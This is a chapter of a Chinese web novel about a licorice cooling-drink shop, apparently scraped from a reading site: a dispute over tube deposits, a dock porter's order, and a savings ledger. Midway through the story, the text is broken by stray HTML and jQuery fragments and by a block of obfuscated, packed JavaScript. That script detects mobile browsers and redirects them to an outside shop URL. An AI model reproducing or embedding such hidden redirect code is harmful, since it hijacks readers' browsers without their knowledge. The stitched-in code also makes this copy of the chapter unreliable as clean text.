文趣网 > 其他小说 > 甜水铺诸事簿 > 23. 第二十三章
    阿棠是午前来的,他昨日借走的竹筒洗得干净,筒口没有磕,底下那个小小的“何”字也还在。

    何春酿接过去看了一遍,才把竹筒放回架上。

    阿棠从药匣里摸出一包甘草,递到柜台上,“我师父说,何掌柜若还做甘草凉水,别用碎末。碎末煮出来浑,味也重。这个是整片的,先拿来试试。”

    何春酿打开纸包看了看。甘草切得齐整,颜色也干净,比她柜里那点碎甘草强许多,“你师父真大方。”

    阿棠摇摇头道:“不白送。师父说,何掌柜若用得好,下回照价买。”

    何春酿笑眯眯道:“好,到时候就请你来送”

    阿棠又说:“码头陈叔昨日喝了,他今天还要一筒,说搬货的人喝酸梅饮不过瘾,喝这个正好。”

    何春酿听了,便把早上镇好的甘草凉水舀出来一盏,让阿棠先尝。

    今日用的是昨日剩下的料,味道还淡。她尝过以后,知道等会儿要另煮一壶,就用阿棠带来的整片甘草。

    周砚平从柜后出来,看了一眼那包甘草,道:“崇安堂若肯供这个,日后省事不少。”

    何春酿点头:“药铺有药铺的眼光,咱们省得乱买。”

    阿棠听见这话很高兴,喝完一小盏凉水,又背着药匣跑了。他说码头那边等着,他先去送药,回来若还有凉水,再买一碗。

    何春酿看着他跑远,转身去煮第二壶。

    绿豆清汤昨日已试过,今日不必再折腾太多。她先把绿豆淘净,放进小砂锅里煮,只取清汤,不煮成酪。甘草另用小锅煎,水色微黄便收,不叫它久熬出药味。两样汤合在一起,点一点沙糖,又滴了几滴酸梅清汁,尝着比昨日顺口些,才放进井水里镇。

    周砚平在旁边看她忙,在她伸手去提井绳时接了一把,“我来弄,你去前头看着。”

    凉水刚镇下去没多久,曹家的管事妇人来了。

    来的是上回要二十筒甜水那位吴妈妈,身后跟着一个小丫头,小丫头手里还提着两只旧竹筒。那竹筒何春酿一眼就认出来,是上回曹家磕坏、扣了押钱的那两只。

    吴妈妈进门时脸上带笑,话也客气,“何掌柜,几日不见,铺子倒更热闹了。”

    何春酿在柜台后站着,没让自己脸色变,“吴妈妈要买饮子?”

    “是要买。”吴妈妈让小丫头把竹筒放到柜台边,“我们家小郎君听说何记这两日有甘草凉水,想尝尝。只是上回二十筒甜水的账,我家夫人后来问起,说有两只竹筒押钱被扣了,怕底下人没说清楚,特让我来问问。”

    门口正有两个买酸梅饮的客人,听见曹家,脚步也慢了。

    何春酿把那两只竹筒拿起来,一只筒口裂了小口,一只底边磕出一道缝,若再装饮子,路上晃一晃,难保不漏。

    她把竹筒放回柜上,“上回送还时,筒口已经坏了。押钱扣下,是照何记规矩。”

    吴妈妈笑了笑:“两只旧竹筒罢了,何掌柜如今做了大买卖,何必还计较这些。”

    何春酿道:“吴妈妈,大买卖也要用小竹筒装。”

    吴妈妈脸上的笑淡了些,“何掌柜如今定了婚契,办事比从前更硬气。”

    “婚契是婚契,买卖是买卖。”何春酿道,“曹家若要买甘草凉水,何记照做。若不想交押钱,也可拿曹家的壶来装。上回坏筒的押钱,已经扣了,退不了。”

    铺子里静了一会儿,周砚平才把账本翻开,声音平稳地补了一句:“上回二十筒,尾款与押钱何家都已点过。坏筒两只,扣押钱四十文。账上有记,吴妈妈若要看,我可以拿给你看。”

    吴妈妈的脸色终于不好看了。

    何春酿把账本往柜上一放,却没有翻开,只说:“吴妈妈是看账,还是买饮子?如果只是来说话,我铺子小,招待不了太久。”

    门口有人轻轻笑了一声,又很快压下。

    吴妈妈站了片刻,到底没再提押钱。

    “那便装四筒甘草凉水。”她说,“押钱也照给。”

    何春酿点头,转身去取刚镇好的凉水。

    周砚平把四只竹筒取出来,一只只看过筒口,又递给她。何春酿装满,封好。吴妈妈付了钱,也付了押钱。周砚平把钱收进钱匣,写了回条,递给她。

    “空筒明日还,若有磕损,照旧扣。”

    吴妈妈接过回条,带着小丫头走了。

    她一走,门口那两个客人才像松了口气,一个买了酸梅饮,一个改买甘草凉水。还没走远,便小声议论,说何记如今真是上规矩了。

    等铺子里又空下来,何春酿才发现自己的手心有些湿。

    周砚平从井边取了一盏甘草凉水,放到她手边,“喝一口。”

    何春酿看他:“我又不是吵输了。”

    “没说你输。”周砚平道,“天太热。”

    她端起来喝了一口,凉水镇得刚好,甘草味比昨日清楚,喝下去以后,胸口那点闷才散了些。

    周砚平把账本合上,道:“你方才说得很好。”

    何春酿把碗放下得意道:”这还用你说?”

    她心里很舒坦,虽然曹家来找茬,最后还是买了何记的甘草凉水,还照规矩交了押钱。这个结果不算大胜,却很实在。

    午后甘草凉水卖得比昨日多。

    阿棠从码头回来时,带了一个姓陈的脚夫。陈脚夫腿上还绑着布条,说昨日中暑,药苦得喝不下,阿棠给他带了何记的凉水,他才勉强把药喝完。

    “今日再买两筒。”陈脚夫说,“码头那边有人也想尝。酸梅饮好喝是好喝,热得狠时,喝这个更顺口。”

    何春酿给他装了两筒,照旧收押钱。陈脚夫付得痛快,还说何记这筒好认,刻了字,不怕混。

    阿棠在旁边补充道:“我昨日就还回来了。”

    何春酿道:“今日也记得还。”

    阿棠拍了拍药匣:“记得。师父说,借东西不还,是小人行径。”

    陈脚夫笑着问他:“你师父还说什么?”

    阿棠想了想:“还说少在外头乱买吃的。”

    何春酿正封竹筒,听见这句,抬眼看他:“那你还来?”

    “我买的是凉水。”阿棠很有理,“又不是吃的。”

    周砚平把回条递给陈脚夫:“明日还筒,如果码头还要,可提前叫阿棠带话。”

    陈脚夫接过回条,点头道:“成。码头人多,若真喝得惯,往后不止两筒。”

    人走后,何春酿把剩下的甘草凉水看了看。壶底还剩小半壶,不能过夜,硬卖也卖不出几碗。她给自己倒了一盏,又给周砚平倒了一盏。

    “明日要多做些吗?”

    周砚平看了看门口那块木牌:“多做半壶就够。码头若真要,后日再加。今日多,是因为陈脚夫带了人情来,不一定日日都多。”

    何春酿喝了一口凉水,道:“成,听你的。”

    周砚平想了想,又说:“码头人多,也杂。若日后常送,要定还筒的人,不能谁来都拿。陈脚夫腿伤还没好,阿棠是药铺的人,他不能总替何记跑。往后若真做起来,要另找人。”

    何春酿听他说完,倒认真起来,“你觉得陈脚夫可以?”

    他点点头:“可以先看。他今日付钱痛快,也知道筒上有刻字,心里有数。不过他是码头人,今日在这里,明日未必还在这里。”

    “那就先让阿棠带话。”何春酿想了想,“崇安堂那边也不能只让他跑腿。明日他还筒时,我问问他师父肯不肯定期供甘草。药铺有规矩,我们也省心。”

    周砚平嗯了一声,把纸压到柜角。

    何春酿看他一眼:“你不要总嗯,说有用的。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619006|205212||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    周砚平抬头:“有用的说完了。”

    她被他堵住,半晌才道:“那就闭嘴干活。”

    周砚平果然不说了,起身去后院洗竹筒。

    何春酿把木牌收回来,用湿布擦掉边上的水痕。甘草凉水这几个字今日被人看得多,木牌边角都沾了些灰。她擦到一半,听见后院水声,心里忽然平静了一点。

    从前收摊后,她最怕这种一日将尽的时候。钱要数,碗要洗,灶要灭,明日还要想买什么、卖什么。如今这些事仍旧一样不少,可有人在后院洗筒,有人在柜台旁记事,铺子没有变大,夜里却没有那么空了。

    周砚平洗完竹筒回来时,何春酿已经把剩下的凉水倒了。

    周砚平把竹筒放回架上:“话虽不错,还是有点可惜了。”

    何春酿看他:“周砚平,你是不是在破庙里吃冷酥饼吃惯了?”

    周砚平没有避开这个话题,“嗯,所以见你倒东西,舍不得。”

    何春酿心里一顿,她把手里的抹布放下,语气也低了些:“卖给客人的东西,不能过夜。刚开始做,拿不准量,我明日少做一些就成了。”

    周砚平看着她,没有说话。

    何春酿被他看得不自在,便转身去拿钱匣:“先算账。”

    这一日赚了一百六十八文。

    何春酿把铜钱穿好,单独放到钱匣最里侧,那是昨日起开的阿禾账。她没有问周砚平,直接把钱放进去。

    周砚平问:“今日也全放?”

    “嗯。”何春酿把账纸拉过来,“昨日说过了,何记赚多少,先往阿禾账里添多少。”

    周砚平沉默了一会儿:“何掌柜,这样你手里会紧。屋檐还没修,入夏以后,竹筒也要添。”

    “我知道。”何春酿抬头看他,“你说的这些都要钱,阿禾也要钱,哪样都不能装作看不见。”

    何春酿把今日的数写下,字比平日慢些。

    “我不是大方。”她说,“我只是觉得,这账既然开了,就不能三天打鱼两天晒网。”

    周砚平道:“修屋檐也要紧。”

    “要紧。”何春酿说,“所以你才要把生意做起来。”

    这话把周砚平堵住了。

    他看着她,过了片刻,低声道:“这倒像掌柜的会说的话。”

    “什么话?”

    “把难事分给别人做,自己说得很有道理。”

    何春酿瞪他一眼,却没忍住笑。

    周砚平也低头笑了一下,很快收住。他从怀里取出那个旧布包,放到柜上,“这是我之前攒的。”

    何春酿看见那布包边角磨得发白,系绳打了死结。

    周砚平把布包往她那边推了推,“这些原本就是给阿禾攒的。放在我身上,今日少一点,明日少一点,到最后也不知道少到哪里去。不如放进你的账里。”

    何春酿这才解开布包。

    铜钱四百六十文,碎银一钱,按一百文算,一共五百六十文。加上昨日的九十文,再加今日的一百六十八文,阿禾账一共八百一十八文。

    还不到一两,离赎人很远。

    “八百一十八文,也是钱。”何春酿把账纸吹了吹,放进钱匣最里侧,“你以后不用藏得那么紧了,放在何记,少不了。”

    周砚平低声道:“以前没有地方放。”

    何春酿手上一停,然后把钱匣推回柜台内侧。

    “现在有了。”他说。

    外头天已经暗了,永安巷里有人收晾衣绳,有人喊孩子回家吃饭。何记的门还没落闩,晚风从门口进来,带着一点甘草凉水的清味。

    -

    簿上记:

    甘草凉水续卖。

    今日赚一百六十八文。

    周砚平存五百六十文。

    阿禾账累计八百一十八文。